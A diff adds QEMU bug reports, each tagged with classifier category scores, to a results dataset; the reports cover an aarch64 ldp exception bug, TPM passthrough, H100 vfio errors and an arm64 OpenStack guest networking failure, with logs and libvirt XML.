+[strace.txt](/uploads/5362e0e9b04ad9a582470faf4a9fcedb/strace.txt) + + + + [hello](/uploads/12d9277fa4e853286414f575010a37ac/hello) + + +The following commit causes this problem． + +commit 86f04735ac2088d5c069c3d1712212ec7428c562 +Author: Helge Deller <deller@gmx.de> +Date: Sun Dec 25 09:23:19 2022 +0100 + + linux-user: Fix brk() to release pages diff --git a/results/classifier/108/graphic/1713066 b/results/classifier/108/graphic/1713066 new file mode 100644 index 000000000..991cb4c65 --- /dev/null +++ b/results/classifier/108/graphic/1713066 @@ -0,0 +1,80 @@ +graphic: 0.936 +performance: 0.886 +files: 0.883 +device: 0.882 +other: 0.881 +network: 0.875 +semantic: 0.871 +permissions: 0.863 +socket: 0.856 +vnc: 0.847 +debug: 0.832 +PID: 0.788 +boot: 0.782 +KVM: 0.601 + +Incorrect handling of aarch64 ldp in some cases + +In some cases the ldp instruction (and presumably other multi-register loads and stores) can behave incorrectly. + +Given the following instruction: +ldp x0, x1, [x0] + +This will load two 64 bit values from memory, however if each location to load is on a different page and the second page is unmapped this will raise an exception. When this happens x0 has already been updated so after the exception handler has run the operating system will try to rerun the instruction. QEMU will now try to perform an invalid load and raise a new exception. + +I believe this is incorrect as section D.1.14.5 of the ARMv8 reference manual B.a states that, on taking an exception, registers used in the generation of addresses are restored to their initial value, so x0 shouldn't be changed, where x1 can be un an unknown state. + +I found the issue running FreeBSD with the cortex-strings implementation of memcpy. This uses a similar instruction when copying between 64 and 96 bytes. + +I've observed this on: +QEMU emulator version 2.5.0 (Debian 1:2.5+dfsg-5ubuntu10.14), Copyright (c) 2003-2008 Fabrice Bellard + +And checked I still get the same behaviour on: +QEMU emulator version 2.9.94 (v2.10.0-rc4-dirty) +Git revision: 248b23735645f7cbb503d9be6f5bf825f2a603ab + +On 25 August 2017 at 14:50, Andrew <email address hidden> wrote: +> Given the following instruction: +> ldp x0, x1, [x0] +> +> This will load two 64 bit values from memory, however if each location +> to load is on a different page and the second page is unmapped this will +> raise an exception. When this happens x0 has already been updated + +Yes, this is a QEMU bug. disas_ldst_pair() should not let the +first load go directly to the target integer register but instead +postpone updating the register until after the second load. +We can safely do this only for the integer load case because +float/vector registers can't be used in address generation so +they're OK to become UNKNOWN. +(D1.14.5 is about interrupts and exceptions that happen during +a multiple-register load or store; for straightforward synchronous +data aborts D1.13.4 is what you want, but the requirements are the +same in any case.) + +We got this right for the load/store exclusive pair, so it's only +the plain load pair that needs fixing I think. + +thanks +-- PMM + + +This might be the cause for my bugreport: https://bugs.launchpad.net/qemu/+bug/1711316 + +Marked mine as a duplicate of this, please correct me if I'm wrong. + + +Yes, D1.13.4 is what I want, I'm not completely familiar with this part of the document. + +Based on my reading of gen_load_exclusive I agree that it looks correct, and loading to a float/vector won't affect the address generation. + +I have worked around this in FreeBSD my switching the order of the registers in the affected load & store, but still have an image I can test a fix with. + +Richard Henderson has posted a patch which should fix this: http://patchwork.ozlabs.org/patch/806051/ + + +That patch seems to have fixed the issue. I don't get the segfault I was previously getting without the patch. + +This fix has now been committed to master as commit 3e4d91b94ce400326fae0 and will be in QEMU 2.11 (and possibly in some stable releases before that). + + diff --git a/results/classifier/108/graphic/1715 b/results/classifier/108/graphic/1715 new file mode 100644 index 000000000..a9bb8c769 --- /dev/null +++ b/results/classifier/108/graphic/1715 @@ -0,0 +1,16 @@ +graphic: 0.963 +semantic: 0.523 +device: 0.499 +performance: 0.494 +network: 0.401 +vnc: 0.337 +boot: 0.274 +socket: 0.254 +files: 0.128 +debug: 0.111 +permissions: 0.104 +PID: 0.075 +other: 0.053 +KVM: 0.044 + +qemu-img convert about target_is_new diff --git a/results/classifier/108/graphic/1716132 b/results/classifier/108/graphic/1716132 new file mode 100644 index 000000000..562d6b84a --- /dev/null +++ b/results/classifier/108/graphic/1716132 @@ -0,0 +1,42 @@ +graphic: 0.934 +device: 0.899 +KVM: 0.833 +other: 0.819 +performance: 0.805 +boot: 0.797 +files: 0.752 +semantic: 0.733 +PID: 0.710 +permissions: 0.705 +network: 0.701 +vnc: 0.689 +debug: 0.650 +socket: 0.634 + +Win 10 bitlocker won't initialise pass-through TPM + +All stock Ubuntu Zesty, Win10Pro KVM guest configured with OVMF and Q35. My host has an ASRock Z97 Extreme 6 board with a TPM header which is populated with v1.2 complaint device. + +Testing in my host the TPM device is function, I can tpm_takeownership and tpm_clear successfully and similar testing by passing the device through to a linux guest also succeeds. + +However using Bitlocker in Windows 10 Pro release 1703 Windows advises it cannot "Prepare" the device which I take to mean it cannot take ownership of it. I believe this to be related to Windows inability to view the TCG Event Log which is evidenced in the below 2 screencaps, however I'm no expert. + +https://s26.postimg.org/vter35eh5/Screenshot_20170907_114644.png +https://s26.postimg.org/klo854qyx/Screenshot_20170909_143841.png + +I've also tested the scenario with qemu 2.10 which provided the exact same results. The only difference in the test setup is that I had to make the guest boot with SeaBios instead of OVMF. (Windows wouldn't boot with OVMF with the boot manager giving me an error pointing to a BCD issue. Researching this it seemed related to an old ACPI problem, I believe this unrelated to my TPM issue so will do more research and raise a separate bug for this if needed.) + +Happy to provide further configurations and build logs as necessary so please advise me what is needed. + +Lastly for background reading. I've been trying to get TPM passthrough working with Windows for a long time now and have hit several different issues which I believe have been addressed by both code maturity in Qemu but also in Windows releases. An earlier bug report can be found here (https://bugs.launchpad.net/ubuntu/+source/qemu/+bug/1615722) which concludes advising me to raise this new/separate issue. + +Thanks in advance, + +Kelvin + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1717 b/results/classifier/108/graphic/1717 new file mode 100644 index 000000000..0e1b63a3d --- /dev/null +++ b/results/classifier/108/graphic/1717 @@ -0,0 +1,44 @@ +graphic: 0.973 +device: 0.922 +debug: 0.896 +PID: 0.880 +semantic: 0.825 +performance: 0.801 +permissions: 0.676 +vnc: 0.635 +boot: 0.468 +other: 0.457 +network: 0.388 +socket: 0.386 +KVM: 0.378 +files: 0.287 + +GPU passthrough (NV h100)case vfio Error +Description of problem: +GPU passthrough (NV h100) will case a error + + +qemu-system-x86_64: vfio_err_notifier_handler(0000:17:00.0) Unrecoverable error detected. Please collect any data possible and then kill the guest + + +this error happen in centos, redhat linux,ubuntu with some kernel i have try( 5.19.0,6.0,6.2) +The same server insert L4,L40 GPU, will not happen. Only happen on H100 GPU +The same server install esxios. everything is normal. GPU work fine + +With vfio error. there is some idrac log error on my dell server + +``` +A bus fatal error was detected on a component at slot 2. Tue Jun 20 2023 05:51:51 +A fatal error was detected on a component at bus 23 device 0 function 0. Tue Jun 20 2023 05:51:51 +A fatal error was detected on a component at bus 22 device 2 function 0. Tue Jun 20 2023 05:51:51 +``` + +Otherwise, I have try to passthrough gpu on dell amd and intel server both. +With AMD CPU , gpu not working in vm. but will not case vfio error +With INTEL CPU, will case vfio error. +Steps to reproduce: +1. Set GPU passthrought +2. Start VM +3. Do something in vm +Additional information: + diff --git a/results/classifier/108/graphic/1719196 b/results/classifier/108/graphic/1719196 new file mode 100644 index 000000000..ebc2898bc --- /dev/null +++ b/results/classifier/108/graphic/1719196 @@ -0,0 +1,751 @@ +graphic: 0.958 +debug: 0.954 +other: 0.953 +permissions: 0.944 +semantic: 0.943 +device: 0.931 +performance: 0.924 +network: 0.907 +PID: 0.894 +files: 0.845 +boot: 0.842 +vnc: 0.754 +KVM: 0.750 +socket: 0.736 + +[arm64 ocata] newly created instances are unable to raise network interfaces + +arm64 Ocata , + +I'm testing to see I can get Ocata running on arm64 and using the openstack-base bundle to deploy it. I have added the bundle to the log file attached to this bug. + +When I create a new instance via nova, the VM comes up and runs, however fails to raise its eth0 interface. This occurs on both internal and external networks. + +ubuntu@openstackaw:~$ nova list ++--------------------------------------+---------+--------+------------+-------------+--------------------+ +| ID | Name | Status | Task State | Power State | Networks | ++--------------------------------------+---------+--------+------------+-------------+--------------------+ +| dcaf6d51-f81e-4cbd-ac77-0c5d21bde57c | sfeole1 | ACTIVE | - | Running | internal=10.5.5.3 | +| aa0b8aee-5650-41f4-8fa0-aeccdc763425 | sfeole2 | ACTIVE | - | Running | internal=10.5.5.13 | ++--------------------------------------+---------+--------+------------+-------------+--------------------+ +ubuntu@openstackaw:~$ nova show aa0b8aee-5650-41f4-8fa0-aeccdc763425 ++--------------------------------------+----------------------------------------------------------+ +| Property | Value | ++--------------------------------------+----------------------------------------------------------+ +| OS-DCF:diskConfig | MANUAL | +| OS-EXT-AZ:availability_zone | nova | +| OS-EXT-SRV-ATTR:host | awrep3 | +| OS-EXT-SRV-ATTR:hypervisor_hostname | awrep3.maas | +| OS-EXT-SRV-ATTR:instance_name | instance-00000003 | +| OS-EXT-STS:power_state | 1 | +| OS-EXT-STS:task_state | - | +| OS-EXT-STS:vm_state | active | +| OS-SRV-USG:launched_at | 2017-09-24T14:23:08.000000 | +| OS-SRV-USG:terminated_at | - | +| accessIPv4 | | +| accessIPv6 | | +| config_drive | | +| created | 2017-09-24T14:22:41Z | +| flavor | m1.small (717660ae-0440-4b19-a762-ffeb32a0575c) | +| hostId | 5612a00671c47255d2ebd6737a64ec9bd3a5866d1233ecf3e988b025 | +| id | aa0b8aee-5650-41f4-8fa0-aeccdc763425 | +| image | zestynosplash (e88fd1bd-f040-44d8-9e7c-c462ccf4b945) | +| internal network | 10.5.5.13 | +| key_name | mykey | +| metadata | {} | +| name | sfeole2 | +| os-extended-volumes:volumes_attached | [] | +| progress | 0 | +| security_groups | default | +| status | ACTIVE | +| tenant_id | 9f7a21c1ad264fec81abc09f3960ad1d | +| updated | 2017-09-24T14:23:09Z | +| user_id | e6bb6f5178a248c1b5ae66ed388f9040 | ++--------------------------------------+----------------------------------------------------------+ + + + +As seen above the instances boot an run. Full Console output is attached to this bug. + + +[ OK ] Started Initial cloud-init job (pre-networking). +[ OK ] Reached target Network (Pre). +[ OK ] Started AppArmor initialization. + Starting Raise network interfaces... +[FAILED] Failed to start Raise network interfaces. +See 'systemctl status networking.service' for details. + Starting Initial cloud-init job (metadata service crawler)... +[ OK ] Reached target Network. +[ 315.051902] cloud-init[881]: Cloud-init v. 0.7.9 running 'init' at Fri, 22 Sep 2017 18:29:15 +0000. Up 314.70 seconds. +[ 315.057291] cloud-init[881]: ci-info: +++++++++++++++++++++++++++Net device info+++++++++++++++++++++++++++ +[ 315.060338] cloud-init[881]: ci-info: +--------+------+-----------+-----------+-------+-------------------+ +[ 315.063308] cloud-init[881]: ci-info: | Device | Up | Address | Mask | Scope | Hw-Address | +[ 315.066304] cloud-init[881]: ci-info: +--------+------+-----------+-----------+-------+-------------------+ +[ 315.069303] cloud-init[881]: ci-info: | eth0: | True | . | . | . | fa:16:3e:39:4c:48 | +[ 315.072308] cloud-init[881]: ci-info: | eth0: | True | . | . | d | fa:16:3e:39:4c:48 | +[ 315.075260] cloud-init[881]: ci-info: | lo: | True | 127.0.0.1 | 255.0.0.0 | . | . | +[ 315.078258] cloud-init[881]: ci-info: | lo: | True | . | . | d | . | +[ 315.081249] cloud-init[881]: ci-info: +--------+------+-----------+-----------+-------+-------------------+ +[ 315.084240] cloud-init[881]: 2017-09-22 18:29:15,393 - url_helper.py[WARNING]: Calling 'http://169.254.169.254/2009-04-04/meta-data/instance-id' failed [0/120s]: request error [HTTPConnectionPool(host='169.254.169.254', port=80): Max retries exceeded with url: /2009-04-04/meta-data/instance-id (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0xffffb10794e0>: Failed to establish a new connection: [Errno 101] Network is unreachable',))] + + + + +---------------- + + + +I have checked all services in neutron and made sure that they are running and restarted in neutron-gateway + + + [ + ] neutron-dhcp-agent + [ + ] neutron-l3-agent + [ + ] neutron-lbaasv2-agent + [ + ] neutron-metadata-agent + [ + ] neutron-metering-agent + [ + ] neutron-openvswitch-agent + [ + ] neutron-ovs-cleanup + +and have also restarted and checked the nova-compute logs for their neutron counterparts. + + + [ + ] neutron-openvswitch-agent + [ + ] neutron-ovs-cleanup + + + + There are some warnings/errors in the neutron-gateway logs which I have attached the full tarball in a separate attachment to this bug: + +2017-09-24 14:39:33.152 10322 INFO ryu.base.app_manager [-] instantiating app ryu.controller.ofp_handler of OFPHandler +2017-09-24 14:39:33.153 10322 INFO ryu.base.app_manager [-] instantiating app ryu.app.ofctl.service of OfctlService +2017-09-24 14:39:39.577 10322 ERROR neutron.agent.ovsdb.impl_vsctl [req-2f084ae8-13dc-47dc-b351-24c8f3c57067 - - - - -] Unable to execute ['ovs-vsctl', '--timeout=10', '--oneline', '--format=json', '--', '--id=@manager', 'create', 'Manager', 'target="ptcp:6640:127.0.0.1"', '--', 'add', 'Open_vSwitch', '.', 'manager_options', '@manager']. Exception: Exit code: 1; Stdin: ; Stdout: ; Stderr: ovs-vsctl: transaction error: {"details":"Transaction causes multiple rows in \"Manager\" table to have identical values (\"ptcp:6640:127.0.0.1\") for index on column \"target\". First row, with UUID e02a5f7f-bfd2-4a1d-ae3c-0321db4bd3fb, existed in the database before this transaction and was not modified by the transaction. Second row, with UUID 6e9aba3a-471a-4976-bffd-b7131bbe5377, was inserted by this transaction.","error":"constraint violation"} + + + +These warnings/errors also occur on the nova-compute hosts in /var/log/neutron/ + + + + +2017-09-22 18:54:52.130 387556 INFO ryu.base.app_manager [-] instantiating app ryu.app.ofctl.service of OfctlService +2017-09-22 18:54:56.124 387556 ERROR neutron.agent.ovsdb.impl_vsctl [req-e291c2f9-a123-422c-be7c-fadaeb5decfa - - - - -] Unable to execute ['ovs-vsctl', '--timeout=10', '--oneline', '--format=json', '--', '--id=@manager', 'create', 'Manager', 'target="ptcp:6640:127.0.0.1"', '--', 'add', 'Open_vSwitch', '.', 'manager_options', '@manager']. Exception: Exit code: 1; Stdin: ; Stdout: ; Stderr: ovs-vsctl: transaction error: {"details":"Transaction causes multiple rows in \"Manager\" table to have identical values (\"ptcp:6640:127.0.0.1\") for index on column \"target\". First row, with UUID 9f27ddee-9881-4cbc-9777-2f42fee735e9, was inserted by this transaction. Second row, with UUID ccf0e097-09d5-449c-b353-6b69781dc3f7, existed in the database before this transaction and was not modified by the transaction.","error":"constraint violation"} + + + +I'm not sure if the above error could be pertaining to the failure, I have also attached those logs to this bug as well... + + +. +(neutron) agent-list ++--------------------------------------+----------------------+--------+-------------------+-------+----------------+---------------------------+ +| id | agent_type | host | availability_zone | alive | admin_state_up | binary | ++--------------------------------------+----------------------+--------+-------------------+-------+----------------+---------------------------+ +| 0cca03fb-abb2-4704-8b0b-e7d3e117d882 | DHCP agent | awrep1 | nova | :-) | True | neutron-dhcp-agent | +| 14a5fd52-fbc3-450c-96d5-4e9a65776dad | L3 agent | awrep1 | nova | :-) | True | neutron-l3-agent | +| 2ebc7238-5e61-41f8-bc60-df14ec6b226b | Loadbalancerv2 agent | awrep1 | | :-) | True | neutron-lbaasv2-agent | +| 4f6275be-fc8b-4994-bdac-13a4b76f6a83 | Metering agent | awrep1 | | :-) | True | neutron-metering-agent | +| 86ecc6b0-c100-4298-b861-40c17516cc08 | Open vSwitch agent | awrep1 | | :-) | True | neutron-openvswitch-agent | +| 947ad3ab-650b-4b96-a520-00441ecb33e7 | Open vSwitch agent | awrep4 | | :-) | True | neutron-openvswitch-agent | +| 996b0692-7d19-4641-bec3-e057f4a856f6 | Open vSwitch agent | awrep3 | | :-) | True | neutron-openvswitch-agent | +| ab6b1065-0b98-4cf3-9f46-6bddba0c5e75 | Metadata agent | awrep1 | | :-) | True | neutron-metadata-agent | +| fe24f622-b77c-4eed-ae22-18e4195cf763 | Open vSwitch agent | awrep2 | | :-) | True | neutron-openvswitch-agent | ++--------------------------------------+----------------------+--------+-------------------+-------+----------------+---------------------------+ + + +Should neutron-openvswitch be assigned to the 'nova' availability zone? + +I have also attached the ovs-vsctl show from a nova-compute host and the neutron-gateway host to ensure that the open v switch routes are correct. + + +I can supply more logs if required. + + + + + + + + + +juju status +bundle file +vm console output +and nova service list + +can be found in ocata-arm64-neutronbug.txt + +Running tcpdump on the guests tap device shows the dhcp request leaving and the reply coming back. + +This may be qemu related, rather than libvirt - further investigation required - but unlikely to be a problem with neutron-gateway charm + +I have confirmed this bug with another arm64 + ocata deployment. + +Further summary: + +we can see dhcp requests leaving and returning to the tap interface associated with the guest, but the guest does not register the returned packet (does not acquire an address). + +I was also able to reproduce this again on Cavium ThunderX hardware, + + +ii ipxe-qemu 1.0.0+git-20150424.a25a16d-1ubuntu1 all PXE boot firmware - ROM images for qemu +ii qemu-block-extra:arm64 1:2.8+dfsg-3ubuntu2.3~cloud0 arm64 extra block backend modules for qemu-system and qemu-utils +ii qemu-efi 0~20160408.ffea0a2c-2 all UEFI firmware for virtual machines +ii qemu-kvm 1:2.8+dfsg-3ubuntu2.3~cloud0 arm64 QEMU Full virtualization +ii qemu-system-arm 1:2.8+dfsg-3ubuntu2.3~cloud0 arm64 QEMU full system emulation binaries (arm) +ii qemu-system-common 1:2.8+dfsg-3ubuntu2.3~cloud0 arm64 QEMU full system emulation binaries (common files) +ii qemu-utils 1:2.8+dfsg-3ubuntu2.3~cloud0 arm64 QEMU utilities + + +------------------- + +ii libvirt-bin 2.5.0-3ubuntu5.4~cloud0 arm64 programs for the libvirt library +ii libvirt-clients 2.5.0-3ubuntu5.4~cloud0 arm64 Programs for the libvirt library +ii libvirt-daemon 2.5.0-3ubuntu5.4~cloud0 arm64 Virtualization daemon +ii libvirt-daemon-system 2.5.0-3ubuntu5.4~cloud0 arm64 Libvirt daemon configuration files +ii libvirt0:arm64 2.5.0-3ubuntu5.4~cloud0 arm64 library for interfacing with different virtualization systems +ii nova-compute-libvirt 2:15.0.6-0ubuntu1~cloud0 all OpenStack Compute - compute node libvirt support +ii python-libvirt 3.0.0-2~cloud0 arm64 libvirt Python bindings + + +Just to further add to comment #6, That this is not a neutron issue, Here is the tcpdump output of the guests tap device shows the dhcp request leaving and the reply coming back. For anyways that may be curious. + + +Guest MAC: + + <interface type='bridge'> + <mac address='fa:16:3e:1d:a8:82'/> + <source bridge='qbrc8faaf66-7f'/> + <target dev='tapc8faaf66-7f'/> + <model type='virtio'/> + <address type='virtio-mmio'/> + </interface> + + + +$ sudo ip netns exec qdhcp-a9958ab4-8a7e-4ded-b9a0-860bc42f79d9 tcpdump -A -l -i ns-c751afb3-2b +tcpdump: verbose output suppressed, use -v or -vv for full protocol decode +listening on ns-c751afb3-2b, link-type EN10MB (Ethernet), capture size 262144 bytes +13:51:11.458941 IP6 :: > ff02::16: HBH ICMP6, multicast listener report v2, 1 group record(s), length 28 +`....$..................................:................................... +13:51:11.462966 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from fa:16:3e:1d:a8:82 (oui Unknown), length 300 +E..H......9..........D.C.4q.....5QN{......................>.............................................................................................................................................................................................................c.Sc5....ubuntu7.......w.,/.y*.................................. +13:51:11.463331 IP 10.5.5.2.bootps > 10.5.5.9.bootpc: BOOTP/DHCP, Reply, length 328 +E..dY'..@... + + + + +Today I ran some tests and installed a Newton Deployment on arm64, which we already know works. I upgraded QEMU and Libvirt on one of the hypervisors from the xenial-updates/ocata cloud-archive. + +See attached notes. + +Libvirt - 1.3.1-1ubuntu10.14 -> 2.5.0-3ubuntu5.5~cloud0 +QEMU - 1:2.5+dfsg-5ubuntu10.16 -> 1:2.8+dfsg-3ubuntu2.3~cloud0 + +I was able to reset the already built instance on the hypervisor and was able to receive a dhcp response from the ovs tap device. Eth0 came up as expected with an internal tenant IP. + + +Steps to reproduce. + +1.) Install Newton & start a few VM's +2.) Choose 1 hypervisor , upgrade qemu & libvirt to versions from the Ocata cloud-archive. +3.) Reset the running VM so that it now runs with the latest QEMU/Libvirt +4.) Reset the Instance, see if it boots and network can be reached. + + + +Taken from the upgraded hypervisor: + +ubuntu@awrep3:/var/lib/nova/instances/2cec409e-de92-4d29-ad68-3f1d1f8be7fc$ sudo qemu-system-aarch64 --version +QEMU emulator version 2.8.0(Debian 1:2.8+dfsg-3ubuntu2.3~cloud0) +Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers + + +ubuntu@awrep3:/var/lib/nova/instances/2cec409e-de92-4d29-ad68-3f1d1f8be7fc$ sudo libvirtd --version +libvirtd (libvirt) 2.5.0 + + +Taken from the upgraded hypervisor + +ubuntu@aw3:/var/lib/nova/instances/2cec409e-de92-4d29-ad68-3f1d1f8be7fc$ sudo qemu-system-aarch64 --version +QEMU emulator version 2.8.0(Debian 1:2.8+dfsg-3ubuntu2.3~cloud0) +Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers + + +ubuntu@aw3:/var/lib/nova/instances/2cec409e-de92-4d29-ad68-3f1d1f8be7fc$ sudo libvirtd --version +libvirtd (libvirt) 2.5.0 + + +I was able to gather libvirt XMLs from both Newton and Ocata Instances, see attached + +sfeole@BSG-75:~$ diff xmlocata xmlnewton +1,2c1,2 +< +< main type='kvm' id='1'> +--- +> ubuntu@lundmark:/var/lib/nova/instances/358596e4-135d-461d-a514-84116440014c$ sudo virsh dumpxml instance-00000001 +> <domain type='kvm' id='1'> +4c4 +< <uuid>7c0dcd78-d6b4-4575-a882-ee5d29c64fe0</uuid> +--- +> <uuid>358596e4-135d-461d-a514-84116440014c</uuid> +7,9c7,9 +< <nova:package version="15.0.6"/> +< <nova:name>sfeole14</nova:name> +< <nova:creationTime>2017-10-05 00:58:15</nova:creationTime> +--- +> <nova:package version="14.0.8"/> +> <nova:name>sfeole-newton</nova:name> +> <nova:creationTime>2017-10-05 01:40:39</nova:creationTime> +18,19c18,19 +< <nova:user uuid="d9f92a61c37948d9a29b8cc37e1bca05">admin</nova:user> +< <nova:project uuid="701441267bd148d3842f1696530b1c92">admin</nova:project> +--- +> <nova:user uuid="12d13712253141ab845b89406507cd6c">admin</nova:user> +> <nova:project uuid="8b8fcaf183954f45b3eb15b27c52ec94">admin</nova:project> +21c21 +< <nova:root type="image" uuid="f329117f-5da2-4d61-8341-89a969bf00e7"/> +--- +> <nova:root type="image" uuid="fcdf7c26-4238-4594-b8ee-fd59f601fdcb"/> +34c34 +< <type arch='aarch64' machine='virt-2.8'>hvm</type> +--- +> <type arch='aarch64' machine='virt'>hvm</type> +58c58 +< <source file='/var/lib/nova/instances/7c0dcd78-d6b4-4575-a882-ee5d29c64fe0/disk'/> +--- +> <source file='/var/lib/nova/instances/358596e4-135d-461d-a514-84116440014c/disk'/> +61c61 +< <source file='/var/lib/nova/instances/_base/035458feead7f83be80ed020442ebf815a4067ea'/> +--- +> <source file='/var/lib/nova/instances/_base/ab7429e8558ea27fb54f70eb92fbd0c1c07dd595'/> +70c70 +< <source file='/var/lib/nova/instances/7c0dcd78-d6b4-4575-a882-ee5d29c64fe0/disk.eph0'/> +--- +> <source file='/var/lib/nova/instances/358596e4-135d-461d-a514-84116440014c/disk.eph0'/> +82a83,93 +> <controller type='pci' index='1' model='dmi-to-pci-bridge'> +> <model name='i82801b11-bridge'/> +> <alias name='pci.1'/> +> <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x0'/> +> </controller> +> <controller type='pci' index='2' model='pci-bridge'> +> <model name='pci-bridge'/> +> <target chassisNr='2'/> +> <alias name='pci.2'/> +> <address type='pci' domain='0x0000' bus='0x01' slot='0x01' function='0x0'/> +> </controller> +84,86c95,97 +< <mac address='fa:16:3e:a6:4b:d4'/> +< <source bridge='qbra7012530-32'/> +< <target dev='tapa7012530-32'/> +--- +> <mac address='fa:16:3e:8e:fc:48'/> +> <source bridge='qbrb5d335fc-46'/> +> <target dev='tapb5d335fc-46'/> +92c103 +< <source path='/var/lib/nova/instances/7c0dcd78-d6b4-4575-a882-ee5d29c64fe0/console.log'/> +--- +> <source path='/var/lib/nova/instances/358596e4-135d-461d-a514-84116440014c/console.log'/> +95a107,111 +> <serial type='pty'> +> <source path='/dev/pts/3'/> +> <target port='1'/> +> <alias name='serial1'/> +> </serial> +97c113 +< <source path='/var/lib/nova/instances/7c0dcd78-d6b4-4575-a882-ee5d29c64fe0/console.log'/> +--- +> <source path='/var/lib/nova/instances/358596e4-135d-461d-a514-84116440014c/console.log'/> +108,113c124,125 +< <label>libvirt-7c0dcd78-d6b4-4575-a882-ee5d29c64fe0</label> +< <imagelabel>libvirt-7c0dcd78-d6b4-4575-a882-ee5d29c64fe0</imagelabel> +< </seclabel> +< <seclabel type='dynamic' model='dac' relabel='yes'> +< <label>+64055:+117</label> +< <imagelabel>+64055:+117</imagelabel> +--- +> <label>libvirt-358596e4-135d-461d-a514-84116440014c</label> +> <imagelabel>libvirt-358596e4-135d-461d-a514-84116440014c</imagelabel> +sfeole@BSG-75:~$ + + +Thanks so much for doing that Sean. + +Omitting expected changes (uuid, mac address, etc), here's are the significant changes I see: + +1) N uses the QEMU 'virt' model, O uses 'virt-2.8' +2) N and O both expose a pci root, but N also exposed 2 PCI bridges that O does not. +3) N exposes an additional serial device. +4) N and O both use an apparmor seclabel. However, O also has a DAC model. + +#4 is the most interesting to me. Is there a way to configure ocata nova to not enable DAC? + +Hi, +I was reading into this after being back from PTO (actually back next monday). +I was wondering as I tested (without openstack) just that last week with Dannf on the Rally). +And indeed it seems to work for me on Artful (which as we all know is =Ocata in terms of SW stack). + +$ cat arm-template.xml +<domain type='kvm'> + <os> + <type arch='aarch64' machine='virt'>hvm</type> + <loader readonly='yes' type='pflash'>/usr/share/AAVMF/AAVMF_CODE.fd</loader> + <nvram template='/usr/share/AAVMF/AAVMF_CODE.fd'>/tmp/AAVMF_CODE.fd</nvram> + <boot dev='hd'/> + </os> + <features> + <acpi/> + <apic/> + <pae/> + </features> + <cpu mode='custom' match='exact'> + <model fallback='allow'>host</model> + </cpu> + <devices> + <interface type='network'> + <source network='default'/> + <model type='virtio'/> + </interface> + <serial type='pty'> + <source path='/dev/pts/3'/> + <target port='0'/> + </serial> + </devices> +</domain> + +$ uvt-kvm create --template arm-template.xml --password=ubuntu artful-test4 release=artful arch=arm64 label=daily + +The template is created in a way to let as much as possible for libvirt and qemu to fill in defaults. That way if one of them change we do not have to follow and adapt. +Maybe such a thing is happening to you for the more "defined" xml that openstack is sending. + +From the hosts point of view all looks normal in journal, you see start and dhcp discover/offer/ack sequence: +Okt 11 10:45:43 seidel kernel: virbr0: port 2(vnet0) entered learning state +Okt 11 10:45:45 seidel kernel: virbr0: port 2(vnet0) entered forwarding state +Okt 11 10:45:45 seidel kernel: virbr0: topology change detected, propagating +Okt 11 10:46:14 seidel dnsmasq-dhcp[2610]: DHCPDISCOVER(virbr0) 52:54:00:b1:db:89 +Okt 11 10:46:14 seidel dnsmasq-dhcp[2610]: DHCPOFFER(virbr0) 192.168.122.13 52:54:00:b1:db:89 +Okt 11 10:46:14 seidel dnsmasq-dhcp[2610]: DHCPDISCOVER(virbr0) 52:54:00:b1:db:89 +Okt 11 10:46:14 seidel dnsmasq-dhcp[2610]: DHCPOFFER(virbr0) 192.168.122.13 52:54:00:b1:db:89 +Okt 11 10:46:14 seidel dnsmasq-dhcp[2610]: DHCPREQUEST(virbr0) 192.168.122.13 52:54:00:b1:db:89 +Okt 11 10:46:14 seidel dnsmasq-dhcp[2610]: DHCPACK(virbr0) 192.168.122.13 52:54:00:b1:db:89 ubuntu + +The guest also seems "normal" to me: +$ uvt-kvm ssh artful-test4 -- journalctl -u systemd-networkd +-- Logs begin at Wed 2017-10-11 10:46:03 UTC, end at Wed 2017-10-11 11:02:31 UTC. -- +Oct 11 10:46:11 ubuntu systemd[1]: Starting Network Service... +Oct 11 10:46:11 ubuntu systemd-networkd[547]: Enumeration completed +Oct 11 10:46:11 ubuntu systemd[1]: Started Network Service. +Oct 11 10:46:11 ubuntu systemd-networkd[547]: enp1s0: IPv6 successfully enabled +Oct 11 10:46:11 ubuntu systemd-networkd[547]: enp1s0: Gained carrier +Oct 11 10:46:12 ubuntu systemd-networkd[547]: enp1s0: Gained IPv6LL +Oct 11 10:46:14 ubuntu systemd-networkd[547]: enp1s0: DHCPv4 address 192.168.122.13/24 via 192.168.122.1 +Oct 11 10:46:14 ubuntu systemd-networkd[547]: Not connected to system bus, ignoring transient hostname. +Oct 11 10:46:24 ubuntu systemd-networkd[547]: enp1s0: Configured + +The biggest and obviously most important difference is in the networking that is used: + <interface type='network'> + <mac address='52:54:00:b1:db:89'/> + <source network='default' bridge='virbr0'/> + <target dev='vnet0'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='pci' domain='0x0000' bus='0x01' slot='0x00' function='0x0'/> + </interface> + +While openstack generates a type="bridge" network where the bridge is not managed by libvirt (compared to the default net I use). +Never the less both setups create a bridge and tap the guest on it. +So this should functionally be equivalent other than the bridge setup right? + + +I tried to make a bridge type config matching to what I had before but close to yours: + <interface type='bridge'> + <mac address='52:54:00:b1:db:89'/> + <source bridge='virbr0'/> + <target dev='vnet0'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='virtio-mmio'/> + </interface> + +But this again works: +ubuntu@artful-test4:~$ journalctl -u systemd-networkd --no-pager +-- Logs begin at Wed 2017-10-11 11:12:10 UTC, end at Wed 2017-10-11 11:13:00 UTC. -- +Oct 11 11:12:17 artful-test4 systemd[1]: Starting Network Service... +Oct 11 11:12:17 artful-test4 systemd-networkd[604]: Enumeration completed +Oct 11 11:12:17 artful-test4 systemd[1]: Started Network Service. +Oct 11 11:12:17 artful-test4 systemd-networkd[604]: enp1s0: IPv6 successfully enabled +Oct 11 11:12:17 artful-test4 systemd-networkd[604]: enp1s0: Gained carrier +Oct 11 11:12:18 artful-test4 systemd-networkd[604]: enp1s0: Gained IPv6LL +Oct 11 